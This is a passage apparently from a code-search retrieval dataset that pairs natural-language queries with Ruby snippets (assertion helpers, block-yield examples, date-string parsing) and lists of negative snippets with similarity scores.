:listing, :literal\n apply_literal_subs(@buffer)\n when :pass\n apply_passthrough_subs(@buffer)\n when :admonition, :example, :sidebar, :quote, :verse\n if !@buffer.nil?\n apply_para_subs(@buffer)\n else\n @blocks.map {|b| b.render }.join\n end\n else\n apply_para_subs(@buffer)\n end\n end", "def gimme_your_blocks\n yield if block_given?\nend", "def poll_content(&block)\n raise NameError.new(\"Not implemented\")\n end", "def default_content; end", "def just_yield\n yield\nend", "def burger\n puts 'top bun'\n yield if block_given?\n puts 'bottom bun'\nend", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end" ]
[ "0.56731427", "0.5627392", "0.5558145", "0.554566", "0.54367596", "0.53092366", "0.5306978", "0.5287875", "0.5275353", "0.5244768", "0.52124816", "0.52073795", "0.5206291", "0.51859045", "0.5174293", "0.5161968", "0.51515305", "0.51263607", "0.5106384", "0.51012486", "0.50875026", "0.5080173", "0.50796586", "0.5071502", "0.50601095", "0.5049052", "0.5048312", "0.5041442", "0.5015027", "0.5015027", "0.4993246", "0.49914607", "0.49835885", "0.4959503", "0.49554008", "0.4953255", "0.49482664", "0.493925", "0.4936898", "0.4910516", "0.4909283", "0.4909045", "0.4908429", "0.49082986", "0.4892845", "0.48867577", "0.48809418", "0.48790336", "0.48732442", "0.48717642", "0.4857904", "0.485514", "0.48365048", "0.4831885", "0.4822697", "0.4820666", "0.48155567", "0.48116773", "0.4807698", "0.48057312", "0.48015147", "0.4752456", "0.473886", "0.47307426", "0.47307426", "0.47283164", "0.4717237", "0.4710248", "0.4708507", "0.47029206", "0.46925634", "0.46905038", "0.46845758", "0.46786368", "0.46786344", "0.46682703", "0.46676806", "0.46637788", "0.46572906", "0.4655541", "0.46495342", "0.46477044", "0.46467268", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622", "0.4640622" ]
0.66741765
3
Test a condition and throw an exception on failure.
def rtassert(cond, ex_class, msg) if (!cond) raise ex_class, msg end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assert cond\n fail! unless cond\n end", "def assert(condition, msg = 'Assertion failed! I quit!')\n raise msg unless condition\nend", "def assert(condition, message=\"Expected condition to be satisfied\")\n @report.on_assertion\n raise AssertionFailed, message unless condition\n end", "def assert(cond)\n failure unless cond\n end", "def assert( condition, message=nil )\r\n ## note: use message to avoid conflict with msg helper/builtin in contract!!!\r\n if condition == true\r\n ## do nothing\r\n else\r\n if message\r\n raise \"Contract Assertion Failed; Contract Halted (Stopped): #{message}\"\r\n else\r\n raise 'Contract Assertion Failed; Contract Halted (Stopped)'\r\n end\r\n end\r\n end", "def ok_failed(condition)\n if (condition)\n puts \"OK\"\n else\n puts \"FAILED\"\n end\nend", "def ok_failed(condition)\n if condition\n puts \"OK\"\n else\n puts \"FAILED\"\n end\nend", "def assert(condition,conditionType)\n raise \"#{conditionType} not met. \" unless condition\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def deny(condition)\n # a simple transformation to increase readability IMO\n assert !condition\n end", "def deny(condition, msg=\"\")\n assert !condition, msg\n end", "def refute(condition, message='')\n assert(!condition, message)\n end", "def deny(condition, message='')\n assert !condition, message\n end", "def deny(condition, msg=\"\")\n # a simple transformation to increase readability IMO\n assert !condition, msg\n end", "def deny(condition, msg=\"\")\n # a simple transformation to increase readability IMO\n assert !condition, msg\n end", "def deny(condition, msg=\"\")\n # a simple transformation to increase readability IMO\n assert !condition, msg\n end", "def assert_false(condition, message=nil)\n assert !condition, message\n end", "def assert_error_occurred\n @status.wont_equal 0\n end", "def assert_error_occurred\n assert_not_exit_status 0\n end", "def condition\n expect :if\n self[1]\n end", "def test_truth\r\n assert_kind_of Condition, @condition\r\n end", "def fail_script_if(condition, message)\n fail_script message if condition\n end", "def check_condition binding\n return true if condition.nil? || condition.empty?\n begin\n Evaluator.eval_condition binding, condition\n rescue\n set_error_state \"Unable to evaluate condition\",\n refers_to: :BREAKPOINT_CONDITION\n false\n end\n end", "def assert(message=\"Assertion Failed\")\n raise RuntimeError, message unless yield\nend", "def assert(truth)\n raise \"ERROR\" if !truth\nend", "def failCheck\n x = 3\n # throws an exception\n fail \"Oh NO!\" if x > 10\n fail \"Again NO!\" if x < 5 \n \nend", "def condition; end", "def assert truthy\n raise \"Tests failed\" unless truthy\nend", "def assert\n raise \"Found an error!\" unless yield\nend", "def fail_script_unless(condition, message)\n fail_script message unless condition\n end", "def fail_script_unless(condition, message)\n fail_script message unless condition\n end", "def assertmsg(cond, msg)\n if !cond\n puts \"assert-ERROR: #{msg}\"\n exit 1\n end\n puts \"assert-OK: #{msg}\"\nend", "def test_run_nothing_raised_if_false\n assert_nothing_raised(RuntimeError) { Execute.run('false') }\n end", "def assert_true(a)\n raise RuntimeError unless a\nend", "def error_unless_condition\n output_error 'unless_condition'\n end", "def assert\n raise \"Alert Fail!\" unless yield\nend", "def assert(predicate, message = nil)\n return if predicate\n raise Failure, message\n rescue Failure => e\n raise Backtrace.clean(e)\n end", "def assert(msg, condition)\n if condition\n puts \"PASS: #{msg}\".green\n else\n puts \"FAIL: #{msg}\".red\n end\nend", "def assert\n\traise \"Error! Error!\" unless yield\nend", "def assert\n\traise ArgumentError.new(\"Assertion failed!\") unless yield\nend", "def Invariant(condition, message)\n if !condition\n raise RuntimeError, \"BTC Invariant Failure: #{message}\"\n end\n end", "def assert\n raise \"something is wrong!\" unless yield\nend", "def assert\n raise \"something is wrong!\" unless yield\nend", "def subdue_exception?(condition)\n if condition.has_key?(:exceptions)\n condition[:exceptions].any? do |exception|\n Time.now >= Time.parse(exception[:begin]) && Time.now <= Time.parse(exception[:end])\n end\n else\n false\n end\n end", "def assert\n raise \"Something is wrong\" unless yield\nend", "def assert(statement = \"Assertion failed!\")\n raise statement unless yield\nend", "def assert(statement = \"Assertion failed!\")\n raise statement unless yield\nend", "def assert\n raise \"ERROR!\" unless yield \nend", "def assert(actual)\n if actual\n print \".\"\n else\n raise \"I expected something truthy, but I got #{actual}\"\n end\nend", "def test(n)\r\n unless n >= 5\r\n raise ArgumentError, \"Zbyt maly argument: #{n} < 5\"\r\n else\r\n puts \"Ok!\"\r\n end\r\nend", "def assert(message)\n raise message unless yield\nend", "def assert\n raise 'Assertion Failed!' unless yield\nend", "def check_and_raise_error(exception, message)\n fail exception unless exception.message.include?(message)\n end", "def assert\n puts \"Processing...\"\n raise \"Assertion failed!\" unless yield \n puts \"True!\"\nend", "def assert\n raise \"Assertion failed!\" unless yield #unless yield, is saying unless true\nend", "def condition(x)\r\n if x\r\n puts \"condition executed\"\r\n end\r\nend", "def assert (test_number)\n\traise \"#{test_number} Assertion Failed!\" unless yield\nend", "def assert \n raise \"Assertion failed!\" unless yield\nend", "def assert \n raise \"Error! your code sucks!\" unless yield\nend", "def assert_1\n raise \"Invalid argument\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend" ]
[ "0.72652644", "0.6979133", "0.6766454", "0.674768", "0.66747177", "0.6609237", "0.6589246", "0.6548723", "0.6471597", "0.6471597", "0.6471595", "0.646415", "0.6446988", "0.6386447", "0.62718856", "0.62718856", "0.62718856", "0.615847", "0.61175114", "0.60959095", "0.59958017", "0.59678864", "0.5964581", "0.59507257", "0.5940893", "0.5905938", "0.5887804", "0.5868964", "0.5851467", "0.5849071", "0.58470994", "0.58470994", "0.58387345", "0.5837841", "0.58320487", "0.579955", "0.57935727", "0.5777429", "0.577448", "0.57186055", "0.57143784", "0.5711982", "0.5701266", "0.5701266", "0.5683828", "0.56687105", "0.56678677", "0.56678677", "0.5655804", "0.5640397", "0.56355846", "0.56111896", "0.5591502", "0.55830026", "0.55727535", "0.55575716", "0.5552029", "0.5551518", "0.5548229", "0.55442977", "0.55333984", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774", "0.55262774" ]
0.6644009
5
Sniff the format of a date string and then convert it to a date
def parse_date_str (d) ## Preconditions: # check format of date date_arr = d.split(DATE_SPLIT_REGEX) rtassert(date_arr.size() == 3, ArgumentError, "cant recognise format of date '#{d}'") # convert to hyphens as Ruby gets confused with slashes date_str = date_arr.join('-') ## Main: # try each of the supplied date formats DATE_FMTS.each { |fmt| begin date_obj = Date.strptime(date_str, fmt) return date_obj rescue ArgumentError # pass end } # try a brute force approach begin date_obj = Date.parse(date_str) return date_obj rescue pp date_arr raise ArgumentError, "can't recognise format of date '#{d}'" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_date(date)\r\n case date\r\n when /(\\d{2})\\.\\s{0,}(\\d{2})\\.\\s{0,}(\\d{4})/ # format DD.MM.YYYY nebo DD. MM. YYYY\r\n date.scan(/(\\d{2})\\.\\s{0,}(\\d{2})\\.\\s{0,}(\\d{4})/) do |sep|\r\n new_date = \"#{sep[2]}-#{sep[1]}-#{sep[0]}\"\r\n return new_date\r\n end\r\n when /(\\d{2})\\/(\\d{2})\\/(\\d{4})/\r\n date.scan(/(\\d{2})\\/(\\d{2})\\/(\\d{4})/) do |sep|\r\n new_date = \"#{sep[2]}-#{sep[0]}-#{sep[1]}\"\r\n return new_date\r\n end\r\n when /(\\d{4})\\-(\\d{2})\\-(\\d{2})/ # format YYYY-MM-DD\r\n return date\r\n else\r\n puts \"ERROR! Neplatny format \\\"#{date}\\\" (prijejte format do funkce \\\"read_date\\\")\"\r\n end\r\nend", "def convertStrToDate(str, format)\n return Date.strptime(str, format)\nend", "def extract_date(str)\n\t\tDate.strptime(str, '%m/%d/%Y')\n\tend", "def string_to_date(string)\n super(handle_date_parse_input(string))\n end", "def parse_date(date_string)\n selected_format = DATE_FORMATS.select{|date_format| date_string =~ date_format[:format]}[0]\n Date.strptime(date_string, selected_format[:type]) if selected_format\n end", "def parse_date(date_string)\n result = sugarcube_detect(date_string).first\n if result\n return result.date\n else\n return iso8601(date_string)\n end\n end", "def convert_to_date(str_date)\n Date.parse(str_date) if str_date\n end", "def parse_date(s)\n begin\n if s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/([2-9]{1}\\d{1})$/\n date = DateTime.parse(\"#{$2}/#{$1}/19#{$3}\")\n elsif s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/([0-1]{1}\\d{1})$/\n date = DateTime.parse(\"#{$2}/#{$1}/20#{$3}\")\n elsif s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/(\\d{4})$/\n date = DateTime.parse(\"#{$2}/#{$1}/#{$3}\")\n elsif s =~ /^(\\d\\d\\d\\d)-(\\d\\d)$/\n if (1...13).include?($2.to_i) and (1000...3000).include?($1.to_i)\n return s\n else\n return nil\n end\n elsif s =~ /^(\\d\\d\\d\\d)$/\n if (1000...3000).include?($1.to_i)\n return s\n else\n return nil\n end\n else\n date = DateTime.parse(s)\n end\n rescue\n return nil\n end\n return date.strftime(\"%Y-%m-%d\")\n end", "def convert_to_date(string)\n return nil if (string.nil? || string.class != String)\n tmp = Chronic.parse(string)\n tmp ? tmp.to_date : nil\n end", "def date_from_string(date)\n\n#remove st rd nd and th\n\nfirstParse = Chronic.parse(date)\nr1 = /[a-zA-Z]/\n\nif firstParse #check if chronic managed to find anything\n\n #daY Less than 12, assume chronic wrong, aslong as also no characters such as December, \n #where it would be right\n if firstParse.day <= 12 and !r1.match(date) \n\t\n\t #swap month with day\n\t firstParse = firstParse.change(:day => firstParse.month, :month => firstParse.day)\n\n end #of if <= 12\n\n return firstParse\n \n else\n \n\treturn Date.new\n \n end #of if firstParse\nend", "def parse_date(date_str)\n new_date = Date.parse(date_str)\nend", "def to_date(string)\n Date.parse(string)\n rescue\n nil\n end", "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "def parse_date(string)\n Date.strptime(string.to_s, '%m/%d/%Y') rescue nil\n end", "def convert_date(date)\n d = date.split('/')\n \"#{d[2]}-#{d[0]}-#{d[1]}\".to_date\n end", "def extract_date(value)\n return value if value.respond_to?(:to_date)\n\n @formats.each do |format|\n if (date = Date.strptime(value, format))\n return date\n end\n end\n\n nil\n rescue => e\n raise DataWrangler::Configuration::Error, e.message\n end", "def formalize_date(pubdate_str)\n # Allowed sample date formats: DEC 2:2021; 25-Dec:2019; Jul:2019; :2019\n wos_formats = ['%b %d:%Y', '%d-%b:%Y', '%b:%Y', ':%Y']\n parsed = nil\n wos_formats.each do |format|\n begin\n parsed = Date.strptime(pubdate_str, format)\n break\n rescue StandardError => e\n Rails.logger.warn \"Repository Work formalize date error #{e.message}\"\n nil\n end\n end\n return parsed.to_s\n end", "def try_and_convert_date(value, format = nil)\n if value.is_a?(String)\n fdate = format_date(value, format)\n fdate || value\n else\n value\n end\n end", "def convert_day_to_date string\r\n Date.strptime(string.to_s,\"%Y%m%d\")\r\n end", "def d(date_string)\n Date.parse(date_string)\nend", "def extract_yyyymmdd_from_datestring( date )\n\n return nil if date.blank?\n\n #puts \"==> DATE IN [#{date}]\"\n begin\n\n # try yyyy-mm-dd (at the start of the string)\n dts = date.match( /^(\\d{4}-\\d{1,2}-\\d{1,2})/ )\n return dts[ 0 ] if dts\n\n # try yyyy/mm/dd (at the start of the string)\n dts = date.match( /^(\\d{4}\\/\\d{1,2}\\/\\d{1,2})/ )\n return dts[ 0 ].gsub( '/', '-' ) if dts\n\n # try yyyy-mm (at the start of the string)\n dts = date.match( /^(\\d{4}-\\d{1,2})/ )\n return dts[ 0 ] if dts\n\n # try yyyy/mm (at the start of the string)\n dts = date.match( /^(\\d{4}\\/\\d{1,2})/ )\n return dts[ 0 ].gsub( '/', '-' ) if dts\n\n # try mm/dd/yyyy (at the start of the string)\n dts = date.match( /^(\\d{1,2}\\/\\d{1,2}\\/\\d{4})/ )\n return DateTime.strptime( dts[ 0 ], \"%m/%d/%Y\" ).strftime( \"%Y-%m-%d\" ) if dts\n\n # try yyyy (anywhere in the string)\n dts = date.match( /(\\d{4})/ )\n return dts[ 0 ] if dts\n\n rescue => ex\n #puts \"==> EXCEPTION: #{ex}\"\n # do nothing...\n end\n\n # not sure what format\n return nil\n end", "def jira_date str\n DateTime.parse(str)\n rescue => e\n puts \"Can not parse #{ str }: #{ e }\"\n nil\n end", "def convert_date(value)\n begin\n return Date.parse(value)\n rescue\n return nil\n end\n end", "def convert_date(value)\n begin\n return Date.parse(value)\n rescue\n return nil\n end\n end", "def parse_date(date_str)\n split = date_str.split('-')\n Date.new(split[0].to_i, split[1].to_i, split[2].to_i)\nend", "def convert_date(date)\r\n if ( date == nil )\r\n return nil\r\n end\r\n string_date = date.to_s\r\n t = string_date.rindex('T')\r\n string_date = string_date.slice(0,t)\r\n string_date \r\nend", "def parse_date(date)\n date.to_date\n rescue\n Date.strptime(date, '%m/%d/%Y') rescue nil\n end", "def handle_date_parse_input(string)\n string\n end", "def convert_date( date )\n\n date_format = '%Y-%m-%d'\n begin\n return DateTime.strptime( date, date_format )\n rescue => e\n return nil\n end\n end", "def to_date(value)\n if value.nil? or value.strip.empty?\n nil\n else\n Date.strptime(value, date_format)\n end\n end", "def to_date\n return self.to_i.to_date if self =~ DIGIT_ONLY_REGEX\n if self =~ US_DATE_REGEX\n Date.strptime(self.tr(DATE_TR,'-'), US_DATE_FORMAT)\n elsif self =~ JSON_DATE_REGEX\n json_date_to_time.to_date\n else\n Date.strptime(self.tr(DATE_TR,'-'), ISO_DATE_FORMAT)\n end\n end", "def parse_date(date_string)\n match = date_string.match(/([0-9]{1,2})\\/([0-9]{1,2})\\/([0-9]{4})/)\n month = match[1].to_i\n day = match[2].to_i\n year = match[3].to_i\n Date.new(year, month, day)\nend", "def format_s_to_date(val)\n Date.strptime(val, '%m/%d/%Y').strftime(\"%Y%m%d\")\n end", "def resolve_date(date_str)\n u_count = date_str.count 'u'\n # Replace unknown digits with 0.\n date = date_str.tr('u', '0').to_i\n if u_count.positive? && date != 0\n delta = 10**u_count # 10^u_count, exponent\n date + (delta / 2) if delta <= ESTIMATE_TOLERANCE\n elsif date != 0\n date\n end\n end", "def date(input, format); end", "def parse_date(str) \n Time.at(str[/([0-9]+)-([0-9]+)/,1].to_i/1000)\n end", "def parse_date(str)\n return nil if str.nil? || str.empty?\n return \"#{str}-01-01\" if str =~ /^\\d{4}/\n format = str =~ /^\\d{2}\\./ ? '%d.%m.%Y' : '%m-%d-%Y'\n begin\n return Date.strptime(str, format).to_date\n rescue\n logger.warn \"Failed to parse date [#{str}] with [#{format}] format\"\n return nil\n end\n end", "def convert_date(datestr)\n components = datestr.split('.')\n components.unshift(components.pop).join('-')\n end", "def parse_date( day )\n day.is_a?(Date) ? day : Date.parse( day.to_s )\n end", "def parse_accept_date(string)\n parts = string.split(/[\\/:.]/)\n Time.local(*parts.values_at(2, 1, 0, 3..6))\n end", "def parse_accept_date(string)\n parts = string.split(/[\\/:.]/)\n Time.local(*parts.values_at(2, 1, 0, 3..6))\n end", "def normalize_date( date )\n\n # look for the expected pattern (YYYY-MM-DD)\n matches = /^(\\d{4}-\\d{2}-\\d{2})/.match( date )\n return matches[ 1 ] if matches\n\n # look for YYYY-MM and append '-01' if we find it\n matches = /^(\\d{4}-\\d{2})/.match( date )\n return \"#{matches[ 1 ]}-01\" if matches\n\n # look for YYYY and append '-01-01' if we find it\n matches = /^(\\d{4})/.match( date )\n return \"#{matches[ 1 ]}-01-01\" if matches\n\n # give up and return what we were provided\n return date\n\n end", "def format_date(date_str)\n ans = Date._parse(date_str, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :zone, :wday)\n Time.mktime(*ans)\n end", "def post_process_date( val )\n\t\t\treturn Date.parse( val )\n\t\trescue ArgumentError\n\t\t\treturn nil\n\t\tend", "def string_to_datetime(string)\n super(handle_date_parse_input(string))\n end", "def normalize_date(date)\r\n if date.chars.length==3\r\n norm_date = Date.strptime(date, '%m-%d')\r\n else\r\n norm_date = Date.strptime(date, '%m-%d-%y')\r\n end\r\n norm_date = norm_date.to_s\r\nend", "def interpretDate(dateString)\n\t\t\n\t\tbegin\n\t\t\n\t\tif (dateString =~ /^\\d\\d?\\/\\d\\d?\\/(\\d\\d)$/ )\n\t\t #puts \"Format: m/d/y\"\n\t\t searchDate = Date.strptime(dateString, '%m/%d/%y')\n\t\telsif (dateString =~ /^\\d\\d?\\/\\d\\d?\\/(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m/d/Y\"\n\t\t searchDate = Date.strptime(dateString, '%m/%d/%Y')\n\t\telsif (dateString =~ /^\\d\\d?\\.\\d\\d?\\.(\\d\\d)$/ )\n\t\t #puts \"Format: m.d.y\"\n\t\t searchDate = Date.strptime(dateString, '%m.%d.%y')\n\t\telsif (dateString =~ /^\\d\\d?\\.\\d\\d?\\.(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m.d.Y\"\n\t\t searchDate = Date.strptime(dateString, '%m.%d.%Y')\n\t\telsif (dateString =~ /^\\d\\d?\\-\\d\\d?\\-(\\d\\d)$/ )\n\t\t #puts \"Format: m-d-y\"\n\t\t searchDate = Date.strptime(dateString, '%m-%d-%y')\n\t\telsif (dateString =~ /^\\d\\d?\\-\\d\\d?\\-(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m-d-Y\"\n\t\t searchDate = Date.strptime(dateString, '%m-%d-%Y')\n\t\telse\n\t\t\tflash[:message] = \"Unrecognized date format. Use mm.dd.yy or mm.dd.yyyy.\"\n\t\t return nil\n\t\tend\n\t\t\n\t\trescue ArgumentError => bang\n\t\t\tflash[:message] = \"Invalid date. (Use month first, then day, then year).\"\n\t\t\treturn nil\n\t\tend\n\t\t\n\t\t\n\tend", "def match_date( val )\n\t\treturn Date.parse( val ) rescue nil\n\tend", "def parsed_date(date_string, default)\n Date.parse(date_string)\n rescue ArgumentError, TypeError # Help out to find what issue - user typing issues.eg date instead of sentence\n default\n end", "def convertDate(date)\n dateHash = date\n dateFormat = Date.parse dateHash\n dateString = dateFormat.strftime('%A, %b %d')\n return dateString \nend", "def date_mathable(datestr)#i.e. '2011-02-20'\r\n date_time = datestr.split(\" \")\r\n if date_time.length == 1\r\n arg = datestr.split('-')\r\n arg = arg.length == 1 ? datestr.split('.') : arg\r\n y = Integer( trim_lead(arg[0],'0') )\r\n m = Integer( trim_lead(arg[1],'0') )\r\n d = Integer( trim_lead(arg[2],'0') )\r\n date = Time.local(y,m,d)\r\n return date\r\n elsif date_time.length == 2\r\n arg = date_time[0].split('-')\r\n arg = arg.length == 1 ? date_time[0].split('.') : arg\r\n arg = arg.length == 1 ? date_time[0].split('/') : arg\r\n y = Integer( trim_lead(arg[0],'0') )\r\n m = Integer( trim_lead(arg[1],'0') )\r\n d = Integer( trim_lead(arg[2],'0') )\r\n arg2 = date_time[1].split(':')\r\n hour = Integer( trim_lead(arg2[0],'0') )\r\n min = arg2[1] == '00' ? 0 : Integer( trim_lead(arg2[1],'0') )\r\n sec = arg2[2] == '00' ? 0 : Integer( trim_lead(arg2[2],'0') )\r\n date = y >= 1000 ? Time.local(y,m,d,hour,min,sec) : Time.local(d,y,m,hour,min,sec)\r\n return date\r\n end \r\n end", "def parse_date(aString)\n return Time.rfc822(aString) rescue Time.parse(aString)\nend", "def parse_date(date, fmt = nil)\n return nil if(date.blank?)\n return DateTime.strptime(date, fmt) if(fmt) # format given\n return DateTime.new(date.to_i) if(date.size < 5) # this short should be a year\n DateTime.parse(date)\n end", "def to_date(date)\n return date if date.is_a?(Date)\n Date.parse(date)\n end", "def parse_date(date)\n if date.is_a?(Date)\n date\n else\n date_str = date.to_s.match?(/\\d\\d\\d\\d-(1[012]|0[1-9])/) ? \"#{date}-01\" : date.to_s\n Date.parse(date_str)\n end\n end", "def to_date(string)\n dates = []\n fuzz = 1\n while fuzz <= @max_fuzz do\n matches = fscan string, fuzz\n dates = matches_to_dates matches\n break if !dates.empty?\n fuzz = fuzz + 1\n end\n dates\n end", "def parse_date(date)\n case date\n when /\\A\\s*(\\d+)-(\\d+)-(\\d+)(?:[ T](\\d+):(\\d+):(\\d+) *([-+]\\d\\d):?(\\d\\d))?\\b/\n Time.new($1, $2, $3, $4, $5, $6, (\"#{$7}:#{$8}\" if $7))\n when /\\A\\s*\\w{3}, +(\\d+) (\\w{3}) (\\d+) (\\d+):(\\d+):(\\d+) *(?:([-+]\\d\\d):?(\\d\\d))\\b/\n Time.new($3, $2, $1, $4, $5, $6, (\"#{$7}:#{$8}\" if $7))\n when /\\A\\s*\\w{3} (\\w{3}) +(\\d+) (\\d+) (\\d+):(\\d+):(\\d+) *(?:([-+]\\d\\d):?(\\d\\d))\\b/\n Time.new($3, $1, $2, $4, $5, $6, (\"#{$7}:#{$8}\" if $7))\n when /\\A\\s*\\w{3} (\\w{3}) +(\\d+) (\\d+):(\\d+):(\\d+) (\\d+)\\b/\n Time.new($6, $1, $2, $3, $4, $5)\n else\n raise ArgumentError, \"bad date: #{date}\"\n end\n end", "def format_date(str)\n# str.gsub(/^(\\d\\d\\d\\d)[-|\\/](\\d\\d)[-|\\/](\\d\\d)$/, '\\3.\\2.\\1')\n str.sub(/^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/, '\\3.\\2.\\1')\n .sub(/^(\\d\\d\\d\\d)\\/(\\d\\d)\\/(\\d\\d)$/, '\\3.\\2.\\1')\nend", "def parse_i18n_date(date_str)\n Date.strptime(date_str, I18n.t('date.formats.default'))\n end", "def decode_date(value)\n return nil if value.blank?\n value.is_a?(String) ? value.gsub(' ', '0').to_date : value.to_date\n rescue\n nil\n end", "def date(string)\n return if string.blank?\n return string if string.is_a?(Date)\n\n Date.parse(string)\n rescue Date::Error\n components = string\n .split(\"-\")\n .map(&:to_i)\n .reject(&:zero?)\n .compact\n\n return if components.empty?\n\n Date.new(*components)\n rescue ArgumentError\n nil\n end", "def convert_to_date(date)\n\t\tmatch = year_month_day?(date)\n\t\tif match.nil?\n\t\t\tmatch = year_month?(date)\n\t\t\tif match.nil?\n\t\t\t\tmatch = year_only?(date)\n\t\t\tend\n\t\tend\n\t\tif match.nil?\n\t\t\tnil\n\t\telse\n\t\t\tbegin\n\t\t\t\tyear = match[1].to_i\n\t\t\t\tmonth = match[2]&.to_i\n\t\t\t\tday = match[3]&.to_i\n\t\t\t\td = day.nil? ? (month.nil? ? Date.new(year) : Date.new(year, month)) : Date.new(year, month, day)\n\t\t\t\tmap = {}\n\t\t\t\tmap[:date] = d\n\t\t\t\tmap[:month] = !match[2].nil?\n\t\t\t\tmap[:day] = !match[3].nil?\n\t\t\t\tmap[:extra] = (match[0].length != date.length)\n\t\t\t\tmap\n\t\t\trescue\n\t\t\t\tnil\n\t\t\tend\n\t\tend\n\tend", "def parse(str)\n match_data = str.match(DATE_REGEXP)\n # Oh my god, I hate this shit. Basically it prepares dates for \n # Time.parse consuming because it's so stupid and ignorant it wants\n # to make me puke :(\n from = extract_time_string_from_match_data(match_data)\n to = extract_time_string_from_match_data(match_data, 12)\n\n begin\n from = Time.parse(from) unless from.nil?\n rescue ArgumentError\n from = nil\n end\n\n begin\n if to.nil? and not from.nil?\n case extract_context_from_match_data(match_data)\n when :year\n to = from.end_of_year\n when :month\n to = from.end_of_month\n when :day\n to = from.end_of_day\n when :hour\n to = from + (59 - from.min).minutes + (59 - from.sec)\n when :minute\n to = from + (59 - from.sec)\n end \n else\n to = Time.parse(to)\n end\n rescue ArgumentError\n to = nil\n end\n\n [from, to]\n end", "def interpret(str, current_date)\n if str.nil?\n return nil\n end\n day_str, month_str, year_str = nil, nil, nil\n ambiguous = { month: false, year: false } # assume false, we use this flag if we aren't certain about the year\n\n # appropriate matches\n a_d = /^(\\d{1,2})(rd|st|nd|th)$/ # handles case d\n b = /^(\\d{1,2})\\/(\\d{1,2})$/ # handles case b\n c = /^(\\d{1,2})\\/(\\d{1,2})\\/(\\d{2}|\\d{4})$/ # handles case c\n\n if mdata = str.match(a_d)\n ambiguous[:month] = true\n day_str = mdata[1]\n elsif mdata = str.match(b)\n ambiguous[:year] = true\n month_str = mdata[1]\n day_str = mdata[2]\n elsif mdata = str.match(c)\n month_str = mdata[1]\n day_str = mdata[2]\n year_str = mdata[3]\n else\n return nil\n end\n\n inst_str = ZDate.format_date(year_str || current_date.year_str, month_str || current_date.month_str, day_str || current_date.day_str)\n # in this case we do not care if date fails validation, if it does, it just means we haven't found a valid date, return nil\n date = ZDate.new(inst_str) rescue nil\n if date\n if ambiguous[:year]\n # say the date is 11/1 and someone enters 2/1, they probably mean next year, I pick 4 months as a threshold but that is totally arbitrary\n current_date.diff_in_months(date) < -4 && date = date.add_years(1)\n elsif ambiguous[:month]\n current_date.day > date.day && date = date.add_months(1)\n end\n end\n date\n end", "def extract_distribution_date_from_string(s)\n return nil if s.blank?\n begin\n return DateTime.strptime s.gsub('w/c', '').gsub(/\\([\\w ]*\\)/, '').gsub(/([\\d])[stndrh]{2}/, '\\1').strip, '%d %B %Y'\n rescue\n end\n nil\n end", "def parse_date(text)\n begin\n @current_match = Match.new( 